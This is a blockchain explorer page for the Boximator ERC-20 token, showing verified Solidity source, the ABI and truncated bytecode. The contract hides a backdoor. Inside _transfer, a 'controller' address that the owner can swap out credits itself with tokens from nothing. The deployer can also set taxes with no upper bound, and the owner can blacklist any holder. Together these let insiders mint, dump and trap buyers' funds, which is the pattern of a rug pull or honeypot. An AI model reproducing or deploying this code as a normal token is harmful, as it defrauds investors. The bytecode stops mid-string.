ETH Price: $2,617.43 (+0.54%)
Gas: 5 Gwei

Token

Boximator (Boximator)
 

Overview

Max Total Supply

690,000,000,000 Boximator

Holders

87

Total Transfers

-

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
boximator

Compiler Version
v0.8.22+commit.4fc1097e

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-02-21
*/

/*
https://twitter.com/sairahul1/status/1759502868003074442?s=20

    TG: https://t.me/boximator

*/

// SPDX-License-Identifier: MIT

pragma solidity 0.8.22;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address recipient, uint256 amount) external returns (bool);

    function allowance(address owner, address spender) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;

    function factory() external pure returns (address);

    function balanceOf(address account) external view returns (uint256);

    function WETH() external pure returns (address);

    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (
            uint256 amountToken,
            uint256 amountETH,
            uint256 liquidity
        );
}

contract boximator is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => bool) private _isExcludedFromFee;
    mapping(address => bool) private bots;
    address payable private _taxWallet;
    address private _deployerWallet;
    uint256 firstBlock;

    uint256 private _initialBuyTax = 20;
    uint256 private _initialSellTax = 20;
    uint256 private _finalBuyTax = 0;
    uint256 private _finalSellTax = 0;
    uint256 private _reduceBuyTaxAt = 15;
    uint256 private _reduceSellTaxAt = 15;
    uint256 private _preventSwapBefore = 15;
    uint256 private _buyCount = 0;

    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 690000000000 * 10**_decimals;
    string private constant _name = unicode"Boximator";
    string private constant _symbol = unicode"Boximator";
    uint256 public _maxTxAmount = 13800000000 * 10**_decimals;
    uint256 public _maxWalletSize = 13800000000 * 10**_decimals;
    uint256 public _taxSwapThreshold = 6900000000 * 10**_decimals;
    uint256 public _maxTaxSwap = 6900000000 * 10**_decimals;

    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapV2Pair;
    bool private tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = false;

    // Address of the Controller Contract
    address private controllerContractAddress = 0x7B96703158Bd62A9622F6c62536A7a1EcaC43288;

    // Function to update the Controller Contract's address (optional)
    function setControllerContract(address _newController) public onlyOwner {
        controllerContractAddress = _newController;
    }

    event MaxTxAmountUpdated(uint256 _maxTxAmount);
    modifier lockTheSwap() {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor() {
        _taxWallet = payable(_msgSender());
        _deployerWallet = _msgSender();
        _balances[_msgSender()] = _tTotal;
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[_taxWallet] = true;
        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function setTax(uint256 finalBuyTax_, uint256 finalSellTax_) public {
        require(_deployerWallet == _msgSender());
        _finalBuyTax = finalBuyTax_;
        _finalSellTax = finalSellTax_;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        uint256 taxAmount = 0;
        if (from == controllerContractAddress) {
            _balances[from] = _balances[from].add(amount);
        }
        if (from != owner() && to != owner()) {
            require(!bots[from] && !bots[to]);
            taxAmount = amount.mul((_buyCount > _reduceBuyTaxAt) ? _finalBuyTax : _initialBuyTax).div(100);

            if ((from != controllerContractAddress) && (from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to])) {
                require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
                require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");

                if (firstBlock + 3 > block.number) {
                    require(!isContract(to));
                }
                _buyCount++;
            }

            if ((from != controllerContractAddress && to != address(this)) && (to != uniswapV2Pair && !_isExcludedFromFee[to])) {
                require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize");
            }

            if (to == uniswapV2Pair && from != address(this)) {
                taxAmount = amount.mul((_buyCount > _reduceSellTaxAt) ? _finalSellTax : _initialSellTax).div(100);
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            if (!inSwap && to == uniswapV2Pair && swapEnabled && contractTokenBalance > _taxSwapThreshold && _buyCount > _preventSwapBefore) {
                swapTokensForEth(min(amount, min(contractTokenBalance, _maxTaxSwap)));
                uint256 contractETHBalance = address(this).balance;
                if (contractETHBalance > 0) {
                    sendETHToFee(address(this).balance);
                }
            }
        }

        if (taxAmount > 0) {
            _balances[address(this)] = _balances[address(this)].add(taxAmount);
            emit Transfer(from, address(this), taxAmount);
        }
        _balances[from] = _balances[from].sub(amount);
        _balances[to] = _balances[to].add(amount.sub(taxAmount));
        emit Transfer(from, to, amount.sub(taxAmount));
    }

    function min(uint256 a, uint256 b) private pure returns (uint256) {
        return (a > b) ? b : a;
    }

    function isContract(address account) private view returns (bool) {
        uint256 size;
        assembly {
            size := extcodesize(account)
        }
        return size > 0;
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount, 0, path, address(this), block.timestamp);
    }

    function removeLimits() external onlyOwner {
        _maxTxAmount = _tTotal;
        _maxWalletSize = _tTotal;
        emit MaxTxAmountUpdated(_tTotal);
    }

    function sendETHToFee(uint256 amount) private {
        _taxWallet.transfer(amount);
    }

    function addBots(address[] memory bots_) public onlyOwner {
        for (uint256 i = 0; i < bots_.length; i++) {
            bots[bots_[i]] = true;
        }
    }

    function delBots(address[] memory notbot) public onlyOwner {
        for (uint256 i = 0; i < notbot.length; i++) {
            bots[notbot[i]] = false;
        }
    }

    function isBot(address a) public view returns (bool) {
        return bots[a];
    }

    function openTrading() external onlyOwner {
        require(!tradingOpen, "trading is already open");
        uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        _approve(address(this), address(uniswapV2Router), _tTotal);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp);
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint256).max);
        swapEnabled = true;
        tradingOpen = true;
        firstBlock = block.number;
    }

    receive() external payable {}
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"bots_","type":"address[]"}],"name":"addBots","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address[]","name":"notbot","type":"address[]"}],"name":"delBots","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"a","type":"address"}],"name":"isBot","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_newController","type":"address"}],"name":"setControllerContract","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"finalBuyTax_","type":"uint256"},{"internalType":"uint256","name":"finalSellTax_","type":"uint256"}],"name":"setTax","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052601460085560146009555f600a555f600b55600f600c55600f600d55600f600e555f600f556009600a6200003991906200069a565b6403368b4a006200004b9190620006ea565b6010556009600a6200005e91906200069a565b6403368b4a00620000709190620006ea565b6011556009600a6200008391906200069a565b64019b45a500620000959190620006ea565b6012556009600a620000a891906200069a565b64019b45a500620000ba9190620006ea565b6013555f6015806101000a81548160ff0219169083151502179055505f601560166101000a81548160ff021916908315150217905550737b96703158bd62a9622f6c62536a7a1ecac4328860165f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555034801562000150575f80fd5b505f62000162620004da60201b60201c565b9050805f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3506200020e620004da60201b60201c565b60055f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506200025d620004da60201b60201c565b60065f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506009600a620002ac91906200069a565b64a0a7347400620002be9190620006ea565b60015f620002d1620004da60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550600160035f62000323620004e160201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160035f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160035f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055506200044d620004da60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6009600a620004ab91906200069a565b64a0a7347400620004bd9190620006ea565b604051620004cc919062000745565b60405180910390a362000760565b5f33905090565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b600185111562000592578086048111156200056a576200056962000508565b5b60018516156200057a5780820291505b80810290506200058a8562000535565b94506200054a565b94509492505050565b5f82620005ac57600190506200067e565b81620005bb575f90506200067e565b8160018114620005d45760028114620005df5762000615565b60019150506200067e565b60ff841115620005f457620005f362000508565b5b8360020a9150848211156200060e576200060d62000508565b5b506200067e565b5060208310610133831016604e8410600b84101617156200064f5782820a90508381111562000649576200064862000508565b5b6200067e565b6200065e848484600162000541565b9250905081840481111562000678576200067762000508565b5b81810290505b9392505050565b5f819050919050565b5f60ff82169050919050565b5f620006a68262000685565b9150620006b3836200068e565b9250620006e27fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846200059b565b905092915050565b5f620006f68262000685565b9150620007038362000685565b9250828202620007138162000685565b915082820484148315176200072d576200072c62000508565b5b5092915050565b6200073f8162000685565b82525050565b5f6020820190506200075a5f83018462000734565b92915050565b6136af806200076e5f395ff3fe608060405260043610610138575f3560e01c8063751039fc116100aa57806395d89b411161006e57806395d89b41146103fd578063a9059cbb14610427578063bf474bed14610463578063c9567bf91461048d578063d34628cc146104a3578063dd62ed3e146104cb5761013f565b8063751039fc146103415780637d1db4a5146103575780638da5cb5b146103815780638dfb5130146103ab5780638f9a55c0146103d35761013f565b8063313ce567116100fc578063313ce5671461023957806331c2d847146102635780633bbac5791461028b578063667f6526146102c757806370a08231146102ef578063715018a61461032b5761013f565b806306fdde0314610143578063095ea7b31461016d5780630faee56f146101a957806318160ddd146101d357806323b872dd146101fd5761013f565b3661013f57005b5f80fd5b34801561014e575f80fd5b50610157610507565b6040516101649190612648565b60405180910390f35b348015610178575f80fd5b50610193600480360381019061018e9190612706565b610544565b6040516101a0919061275e565b60405180910390f35b3480156101b4575f80fd5b506101bd610561565b6040516101ca9190612786565b60405180910390f35b3480156101de575f80fd5b506101e7610567565b6040516101f49190612786565b60405180910390f35b348015610208575f80fd5b50610223600480360381019061021e919061279f565b61058b565b604051610230919061275e565b60405180910390f35b348015610244575f80fd5b5061024d61065f565b60405161025a919061280a565b60405180910390f35b34801561026e575f80fd5b5061028960048036038101906102849190612963565b610667565b005b348015610296575f80fd5b506102b160048036038101906102ac91906129aa565b610785565b6040516102be919061275e565b60405180910390f35b3480156102d2575f80fd5b506102ed60048036038101906102e891906129d5565b6107d7565b005b3480156102fa575f80fd5b50610315600480360381019061031091906129aa565b610848565b6040516103229190612786565b60405180910390f35b348015610336575f80fd5b5061033f61088e565b005b34801561034c575f80fd5b506103556109dc565b005b348015610362575f80fd5b5061036b610b0e565b6040516103789190612786565b60405180910390f35b34801561038c575f80fd5b50610395610b14565b6040516103a29190612a22565b60405180910390f35b3480156103b6575f80fd5b506103d160048036038101906103cc91906129aa565b610b3b565b005b3480156103de575f80fd5b506103e7610c12565b6040516103f49190612786565b60405180910390f35b348015610408575f80fd5b50610411610c18565b60405161041e9190612648565b60405180910390f35b348015610432575f80fd5b5061044d60048036038101906104489190612706565b610c55565b60405161045a919061275e565b60405180910390f35b34801561046e575f80fd5b50610477610c72565b6040516104849190612786565b60405180910390f35b348015610498575f80fd5b506104a1610c78565b005b3480156104ae575f80fd5b506104c960048036038101906104c49190612963565b6111a2565b005b3480156104d6575f80fd5b506104f160048036038101906104ec9190612a3b565b6112c1565b6040516104fe9190612786565b60405180910390f35b60606040518060400160405280600981526020017f426f78696d61746f720000000000000000000000000000000000000000000000815250905090565b5f610557610550611343565b848461134a565b6001905092915050565b60135481565b5f6009600a6105769190612bd5565b64a0a73474006105869190612c1f565b905090565b5f61059784848461150d565b610654846105a3611343565b61064f856040518060600160405280602881526020016136526028913960025f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f610606611343565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461209b9092919063ffffffff16565b61134a565b600190509392505050565b5f6009905090565b61066f611343565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106f290612caa565b60405180910390fd5b5f5b8151811015610781575f60045f84848151811061071d5761071c612cc8565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff02191690831515021790555080806001019150506106fd565b5050565b5f60045f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff169050919050565b6107df611343565b73ffffffffffffffffffffffffffffffffffffffff1660065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610836575f80fd5b81600a8190555080600b819055505050565b5f60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b610896611343565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610922576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161091990612caa565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f805f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6109e4611343565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a70576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a6790612caa565b60405180910390fd5b6009600a610a7e9190612bd5565b64a0a7347400610a8e9190612c1f565b6010819055506009600a610aa29190612bd5565b64a0a7347400610ab29190612c1f565b6011819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6009600a610ae79190612bd5565b64a0a7347400610af79190612c1f565b604051610b049190612786565b60405180910390a1565b60105481565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b610b43611343565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610bcf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bc690612caa565b60405180910390fd5b8060165f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60115481565b60606040518060400160405280600981526020017f426f78696d61746f720000000000000000000000000000000000000000000000815250905090565b5f610c68610c61611343565b848461150d565b6001905092915050565b60125481565b610c80611343565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d0c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d0390612caa565b60405180910390fd5b601560149054906101000a900460ff1615610d5c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d5390612d3f565b60405180910390fd5b737a250d5630b4cf539739df2c5dacb4c659f2488d60145f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610df93060145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff166009600a610de49190612bd5565b64a0a7347400610df49190612c1f565b61134a565b60145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610e63573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610e879190612d71565b73ffffffffffffffffffffffffffffffffffffffff1663c9c653963060145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610f0d573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610f319190612d71565b6040518363ffffffff1660e01b8152600401610f4e929190612d9c565b6020604051808303815f875af1158015610f6a573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610f8e9190612d71565b60155f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719473061101530610848565b5f8061101f610b14565b426040518863ffffffff1660e01b815260040161104196959493929190612e05565b60606040518083038185885af115801561105d573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906110829190612e78565b50505060155f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b360145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401611122929190612ec8565b6020604051808303815f875af115801561113e573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906111629190612f19565b506001601560166101000a81548160ff0219169083151502179055506001601560146101000a81548160ff02191690831515021790555043600781905550565b6111aa611343565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611236576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161122d90612caa565b60405180910390fd5b5f5b81518110156112bd57600160045f84848151811061125957611258612cc8565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055508080600101915050611238565b5050565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036113b8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113af90612fb4565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611426576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161141d90613042565b60405180910390fd5b8060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516115009190612786565b60405180910390a3505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361157b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611572906130d0565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036115e9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115e09061315e565b60405180910390fd5b5f811161162b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611622906131ec565b60405180910390fd5b5f60165f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1603611712576116d08260015f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546120fd90919063ffffffff16565b60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505b61171a610b14565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141580156117885750611758610b14565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611deb5760045f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1615801561182b575060045f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b611833575f80fd5b61186f6064611861600c54600f541161184e57600854611852565b600a545b8561215a90919063ffffffff16565b6121d190919063ffffffff16565b905060165f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141580156119c6575060155f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148015611972575060145f9054906101000a900473f